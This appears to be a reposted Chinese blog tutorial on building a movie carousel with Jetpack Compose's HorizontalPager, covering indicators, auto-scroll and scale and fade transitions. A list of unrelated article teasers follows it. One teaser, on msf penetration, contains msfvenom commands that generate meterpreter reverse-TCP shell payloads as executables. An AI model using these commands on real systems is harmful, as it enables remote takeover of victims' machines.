Android Jetpack Compose实现轮播图效果

news2024/12/29 13:30:17

Android Jetpack Compose实现轮播图效果

轮播图效果

在最近思索如何使用Compose方式改进我的开源TMDB电影列表应用程序的主屏幕时,一个激动人心的概念浮现在我的脑海中——为什么不整合一个吸引人的轮播图来展示即将上映的电影呢?在本文中,我将分享我的开发和实现自定义轮播图的经历,提供涉及不同步骤的见解。

首先,我搜索了现有的解决方案,考虑到Material Design 3文档中有一个轮播图组件的可用性。然而,我很快发现它尚未发布用于Jetpack Compose,而且仅在最新的MDC-Android(视图系统)Alpha版本中可访问。这迫使我决定开发自己的轮播图,利用HorizontalPager,这是一个Compose组件,允许水平滚动和页面变换。

为了有效地解决开发过程,我将问题分为四个不同的部分:

  1. HorizontalPager转换为实现所需的旋转木马效果。
  2. 加入指示器显示当前可见页面。
  3. HorizontalPager页面实现自动滚动。
  4. 利用动画增强即将出现的页面的外观,同时聚焦当前显示的页面并淡化其他页面。
    让我们逐个详细讨论这些部分。

HorizontalPager转换为实现所需的旋转木马效果

为了创建所需的旋转木马效果,我们必须首先自定义HorizontalPager以部分显示前一个和后一个页面。
为此,HorizontalPager提供了两个参数:

  1. contentPadding:允许我们从每个轴应用边距,创建所需的页面周围间距。
  2. pageSpacing:在两个相邻页面之间引入间隙,确保视觉上吸引人的布局。

轮播图效果

HorizontalPager(
    contentPadding = PaddingValues(horizontal = 32.dp),
    pageSpacing = 16.dp
) { page ->
    ...
    CarouselItem(item)
}

将指示器合并到页面中以显示当前可见页面

这个任务很容易完成。我只需要将HorizontalPager置于Box布局中,并将DotIndicators合成到Box底部对齐即可。

Box {
    HorizontalPager(pageCount = pageCount, state = pagerState) { page ->
        CarouselItem(itemList[page])
    }

    DotIndicators(
        pageCount = pageCount,
        pagerState = pagerState,
        modifier = Modifier.align(Alignment.BottomCenter)
    )
}

我们创建了一个名为DotIndicators的可组合组件。它需要两个参数:页数(pageCount)和页面状态(pageState)。我们使用页数(pageCount)添加相同数量的指示器,而使用页面状态(pageState)使选定的点显示更暗。内部实现如下:

@Composable
fun DotIndicators(
    ...,
    modifier: Modifier
) {
    Row(modifier = modifier) {
        repeat(pageCount) { iteration ->
            val color = if (pagerState.currentPage == iteration) selectedColor else unselectedColor
            Box(
                modifier = Modifier
                    .clip(CircleShape)
                    .background(color)
            )
        }
    }
}

上面指示器效果如下:
指示器效果

为HorizontalPager页面实现自动滚动

目前,我们的设置要求用户手动水平滑动以导航到下一页。为了增强用户体验,我们可以实现自动滚动。我们通过利用HorizontalPager提供的Coroutine、LaunchedEffect和PagerState来实现这一点。
以下是一个完全具备功能的示例实现:

@Composable
fun AwesomeCarousel(
    pageCount: Int = 10,
    pagerState: PagerState = rememberPagerState(),
    autoScrollDuration: Long = 3000L
) {
    val isDragged by pagerState.interactionSource.collectIsDraggedAsState()
    if (isDragged.not()) {
        with(pagerState) {
            var currentPageKey by remember { mutableStateOf(0) }
            LaunchedEffect(key1 = currentPageKey) {
                launch {
                    delay(timeMillis = autoScrollDuration)
                    val nextPage = (currentPage + 1).mod(pageCount)
                    animateScrollToPage(page = nextPage)
                    currentPageKey = nextPage
                }
            }
        }
    }

    HorizontalPager(pageCount = pageCount, state = pagerState) { page ->
        CarouselItem(itemList[page])
    }
}

代码片段中的主要要点是:

  1. LaunchedEffectLaunchedEffect 是 Jetpack Compose 提供的一种特殊效果,允许我们在协程中执行副作用,当特定键值发生改变时触发。在这种情况下,key1 参数设置为 currentPageKey,这意味着只要 currentPageKey 的值发生更改,该效果就会被触发。在LaunchedEffect块内,我们使用 launch 函数启动一个新的协程。这个协程在合成过程中异步执行并且独立于合成进程。

  2. delay(timeMillis = autoScrollDuration):这一行引入了一个延迟,协程会在 autoScrollDuration 变量指定的持续时间内暂停,然后继续执行下一行代码。在暂停后,我们再次更改键,这导致协程重新启动,因此这意味着 LaunchedEffect 内部的块将无限次地执行。

  3. isDragged.not():此代码段确保仅在不拖动页面时执行后续操作。它控制自动滚动行为,避免了用户交互和自动滚动过程之间的冲突。例如,如果用户正在滑动页面,自动滚动将停止。

利用动画增强页面外观

实现的最后一部分着重于增强轮播页面的视觉过渡效果。通过利用graphicLayer修饰器,我们可以实现平滑无缝的过渡效果。关键动画包括在淡出旧项的同时淡入新项,以及在项接近或远离中心时进行缩放。

以下代码计算当前页面和目标页面之间的偏移量,然后使用此偏移量在0.7和1之间插值出一个转换值。然后将此转换值应用于graphicLayeralphascaleY属性。

fun Modifier.carouselTransition(page: Int, pagerState: PagerState) =
    graphicsLayer {
        val pageOffset =
            ((pagerState.currentPage - page) + pagerState.currentPageOffsetFraction).absoluteValue

        val transformation =
            lerp(
                start = 0.7f,
                stop = 1f,
                fraction = 1f - pageOffset.coerceIn(0f, 1f)
            )
        alpha = transformation
        scaleY = transformation
    }
  1. 我们计算了在页面分页器中当前页面和目标页面之间的偏移量。它考虑了整个页面差异(pagerState.currentPage-page)和分数(pagerState.currentPageOffsetFraction),后者表示在页面之间转换的进度。绝对值确保偏移量始终为正数。
  2. lerp函数用于基于分数在起始点和结束点之间插值计算一个值。在这种情况下,起始值为0.7f,停止值为1f,而分数则被计算为1f - pageOffset.coerceIn(0f, 1f)。coerceIn函数可以确保分数保持在0到1的范围内。
  3. alpha = transformationtransformation的值分配给了graphicLayeralpha属性。将alpha设置为介于0和1之间的值可以确定图层的透明度。值为1表示图层完全不透明,而值为0表示它完全透明。
  4. scaleY = transformation同样,这行将transformation的值分配给了graphicLayerscaleY属性。调整scaleY属性会垂直缩放图层。值为1表示图层的原始大小,而小于1的值会减少垂直比例,大于1的值会增加垂直比例。
    我们在HorizontalPageritem modifier上利用graphicLayer扩展函数。这使我们可以对每个旋转木马项目应用变换并创建效果。
HorizontalPager() { page ->
    val page = list[page]
    CarouselItem(
        item = page,
        modifier = Modifier.carouselTransition(page, pagerState)
    )
}

电影App效果

github地址

https://github.com/TheSomeshKumar/Flixplorer

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/609058.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

旧改快讯--星河操刀,龙华稳健工业园项目专规获批

龙华街道稳健工业园城市更新单元原列入《2019年深圳市龙华区城市更新单元计划第五批计划》,现已列入《2022年深圳市龙华区城市更新单元计划第三批计划》,现该更新单元规划已经深圳市城市规划委员会法定图则委员会2023年第16次会议审议并获原则通过&#…

python环境安装

测试电脑环境有无安装python: winR,输入cmd,打开窗口,输入pyhton,查看是否有版本号,没有则是没有安装python环境 找到python-3.7.0-amd64的安装包,直接双击启动。上面是快速安装,我…

【Linux驱动】字符设备驱动相关宏 / 函数介绍(module_init、register_chrdev)

驱动运行有两种方式: 方式一:直接编译到内核,Linux内核启动时自动运行驱动程序方式二:编译成模块,使用 insmod 命令加载驱动模块 我们在调试的时候,采用第二种方式是最合适的,每次修改驱动只需…

八大排序之图文详解

前言 在数据结构中,排序是非常重要的内容,也是未来面试和笔试的重点。 本文代码是Java 目录 前言 一、插入排序 (一)直接插入排序 (二)希尔排序 二、选择排序 (一)选择排序 …

【CSS3系列】第六章 · 2D和3D变换

写在前面 Hello大家好, 我是【麟-小白】,一位软件工程专业的学生,喜好计算机知识。希望大家能够一起学习进步呀!本人是一名在读大学生,专业水平有限,如发现错误或不足之处,请多多指正&#xff0…

通义千问预体验,如何让 AI 模型应用“奔跑”在函数计算上?

立即体验基于函数计算部署通义千问预体验: https://developer.aliyun.com/topic/aigc_fc AIGC 浪潮已来,从文字生成到图片生成,AIGC 的创造力让人惊叹,更多人开始探索如何使用 AI 提高生产效率,激发更多创作潜能&…

android jetpack Room的基本使用(java)

数据库的基本使用 添加依赖 //roomdef room_version "2.5.0"implementation "androidx.room:room-runtime:$room_version"annotationProcessor "androidx.room:room-compiler:$room_version"创建表 Entity表示根据实体类创建数据表&#xff0c…

Linux基础篇 Ubuntu 22.04的环境安装-02

目录 一、资料的获取 二、安装虚拟机 三、安装Ubuntu过程 四、注意事项 一、资料的获取 1.通过官方网站下载 Ubuntu系统下载 | Ubuntuhttps://cn.ubuntu.com/download2.下载桌面板即可 3.选择下载的版本 二、安装虚拟机 1.创建新的虚拟机 2.选择自定义安装 3.硬件兼容性选…

Zinx框架学习 - 请求与路由模块实现

Zinx - V0.3 请求与路由模块实现 在zinxV0.2中链接只封装了套接字,而请求是封装了链接和用户传输的数据,后续通过请求来识别具体要实现什么功能,然后通过路由来完成对应的功能处理。conn链接的业务处理HandleFunc是固定写死的,接…

【YOLO系列】YOLO v4(网络结构图+代码)

文章目录 how to compile on Linux(using cmake)yolo v4 测试 网络结构route 和shotcutNeckHead Loss参考 YOLO v4是YOLO系列的第三篇,YOLO v4融合了大量的检测小技巧,为了能够更快地理解YOLO v4,可先查看前两篇文章。 【YOLO系列】YOLO v3&a…

K8s架构(五)

K8s的物理架构是master/node模式: K8s集群至少需要一个主节点(Master)和多个工作节点(Worker),Master节点是集群的控制节点,负责整个集群的管理和控制,主节点主要用于暴露API,调度部署和节点的管理。工作节点主要是运…

【Spring学习】Bean对象的作用域和生命周期,了解了这些你就真正熟悉spring框架了.

前言: 大家好,我是良辰丫,我们已经学会了Spring的存取,今天我们将一起来学习Bean对象的作用域和生命周期.💌💌💌 🧑个人主页:良辰针不戳 📖所属专栏:javaEE进阶篇之框架学习 🍎励志语…

单源最短路的综合应用

1.新年好(dfs最短路) 信息学奥赛一本通(C版)在线评测系统 (ssoier.cn)http://ybt.ssoier.cn:8088/statusx.php?runidx17472125 先两两求一遍最短路,求一个地方到另一个地方的最短路,在枚举5个拜访的顺序…

Vue3 小兔鲜:Layout-静态模版结构搭建

Vue3 小兔鲜4&#xff1a;Layout-静态模版结构搭建 Date: May 31, 2023 目标效果&#xff1a; 分成Nav、Heade、二级路由出口、Footer区域 组件结构快速搭建 Nav <script setup></script><template><nav class"app-topnav"><div clas…

Android和windows(msf渗透)

msf生成木马的语句 #windows#x64 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTx.x.x.x LPORT7777 -f exe > shell.exe#x68 msfvenom -p windows/meterpreter/reverse_tcp LHOSTx.x.x.x LPORT5555 -a x86 --platform Windows -f exe > shell.exe#linux msfven…

【TOP生物信息】使用R包Symphony自动注释细胞类型

扫码关注下方公粽号&#xff0c;回复推文合集&#xff0c;获取400页单细胞学习资源&#xff01; 本文共计1884字&#xff0c;阅读大约需要6分钟&#xff0c;目录如下&#xff1a; Symphony 包基本介绍 Symphony 包安装 Symphony 包使用 1.使用已有的参考数据集进行细胞注释2…

LinuxC编程——文件IO

目录 一、概念⭐⭐二、特点⭐⭐⭐三、函数⭐⭐⭐⭐3.1 打开文件 open3.2 关闭文件 close3.3 读写操作3.4 定位操作 lseek 四、文件IO与标准IO的对比脑图 在C语言的标准IO库中的库函数&#xff0c;如fclose、fopen,、fread、fwrite&#xff0c;提供的是高层服务&#xff1b;而Li…

数据在内存中的存储(超详细讲解)

目录 浮点数家族 浮点数类型在内存中的存储 一.为什么说整型和浮点数在内存中存储方式不同&#xff08;证明&#xff09; 二.浮点数的存储规则 浮点数在计算机内部的表示方法 1.对于M的存储和取出规则 2.对于E的存储和取出时的规则 对前面代码结果进行解释&#xff1a; …

Kubernetes_APIServer_证书_03_四个静态Pod Yaml文件解析

文章目录 前言一、APIServer Yaml文件解析APIServer证书文件APIServer三种探针启动探针可读性探针生存性探针 APIServer其他参数APIServer其他配置项 二、Scheduler Yaml文件解析Scheduler证书配置Scheduler两个探针启动探针生存性探针 Scheduler其他参数Scheduler其他配置项 三…

测试各种变量是否是线程安全的

前提条件,把这个类设成是单例模式,也就是说,这个类只能创建一个对象,然后多个线程在一个对象中去争抢资源. 1.int类型的成员变量number, (private int number) 线程共享 public class Stu {private int number;private String age;private String math;private i…